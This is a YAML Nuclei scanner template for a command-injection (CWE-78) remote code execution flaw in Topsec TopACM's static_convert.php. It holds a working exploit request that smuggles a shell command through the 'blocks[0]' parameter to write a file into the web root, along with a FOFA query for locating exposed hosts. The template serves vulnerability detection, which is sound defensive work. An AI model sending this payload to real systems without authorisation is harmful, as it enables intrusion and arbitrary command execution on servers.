id: topsec-topacm-rce

info:
  name: Topsec Topacm - Remote Code Execution
  author: SleepingBag945
  severity: critical
  description: |
    Tianrongxin Internet Behavior Management System static_convert.php remote command execution vulnerability
  reference:
    - https://github.com/achuna33/MYExploit/blob/8ffbf7ee60cbd77ad90b0831b93846aba224ab29/src/main/java/com/achuna33/Controllers/TRXController.java
    - https://github.com/Phuong39/2022-HW-POC/blob/main/天融信-上网行为管理系统RCE.md
  classification:
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="ActiveXObject" && body="dkey_login" && body="repeat-x"
  tags: rce,topsec,topacm,intrusive,vuln

http:
  - raw:
      - |
        GET /view/IPV6/naborTable/static_convert.php?blocks[0]=||%20echo%20%27{{randstr}}%27%20%3E%20/var/www/html/config_application.txt%0a HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /config_application.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "{{randstr}}"

      - type: word
        part: header_2
        words:
          - text/plain

      - type: status
        part: header_2
        status:
          - 200
# digest: 4a0a00473045022041f43bb4dd4db98acffa1e9a93bae85b5c15dfbac2478830592937164e45ce66022100dadd992ec7541c9cafd841caf8192267dce72ccf07bebd66d149dc571f8b62a1:922c64590222798bb761d5b6d8e72950